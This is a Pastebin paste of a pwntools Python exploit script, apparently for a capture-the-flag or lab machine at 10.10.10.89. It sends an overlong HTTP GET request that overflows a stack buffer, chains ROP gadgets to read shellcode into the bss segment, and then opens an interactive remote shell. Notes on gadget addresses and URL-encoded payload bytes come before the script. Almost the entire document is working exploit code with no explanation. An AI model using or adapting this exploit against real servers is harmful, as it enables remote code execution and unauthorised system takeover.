Guest User

Untitled

a guest
Nov 15th, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.89 KB | None | 0 0
  1. '''
  2. GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%dd%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00%db%11%40%00%00%00%00%00%60%31%60%00%00%00%00%00AAAAAAAA%f0%0c%40%00%00%00%00%00%60%31%60%00%00%00%00%00
  3.  
  4.  
  5.  
  6. adr = 0x603160
  7.  
  8.  
  9. rdx = size
  10. rdi = 0x4 ; 0x00000000004011dd: pop rdi; ret;
  11. rsi = addr ; 0x00000000004011db: pop rsi; pop r15; ret;
  12. read = 0x400cf0
  13.  
  14.  
  15.  
  16. %dd%11%40%00%00%00%00%00
  17. %04%00%00%00%00%00%00%00
  18. %db%11%40%00%00%00%00%00
  19. %60%31%60%00%00%00%00%00
  20. AAAAAAAA
  21. %f0%0c%40%00%00%00%00%00
  22. %60%31%60%00%00%00%00%00
  23.  
  24. %dd%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00%db%11%40%00%00%00%00%00%60%31%60%00%00%00%00%00AAAAAAAA%f0%0c%40%00%00%00%00%00%60%31%60%00%00%00%00%00
  25.  
  26.  
  27.  
  28.  
  29. deadbeef
  30.  
  31. BBBB
  32.  
  33. %42%42%42%42%ef%be%ad%de
  34.  
  35. '''
  36. from pwn import *
  37. r = remote("10.10.10.89", 1111)
  38.  
  39.  
  40. pad = "A" * 568
  41.  
  42. rop = r'%dd%11%40%00%00%00%00%00' # 0x00000000004011dd: pop rdi; ret;
  43. rop += r'%04%00%00%00%00%00%00%00' # 0x4
  44. rop += r'%db%11%40%00%00%00%00%00' # 0x00000000004011db: pop rsi; pop r15; ret;
  45. rop += r'%60%31%60%00%00%00%00%00' # rsi: bss addr
  46. rop += r'AAAAAAAA' # JUNK
  47. rop += r'%f0%0c%40%00%00%00%00%00' # read
  48. rop += r'%60%31%60%00%00%00%00%00' # bss addr
  49. payload = r'GET {}{}'.format(pad, rop)
  50.  
  51. print(payload)
  52.  
  53. r.sendline(payload)
  54. r.sendline('')
  55. # r.interactive()
  56. r.recvuntil("File not found")
  57. r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
  58. r.interactive()
  59. pause()
  60.  
  61. r.sendline("\x90"*100)
Add Comment
Please, Sign In to add comment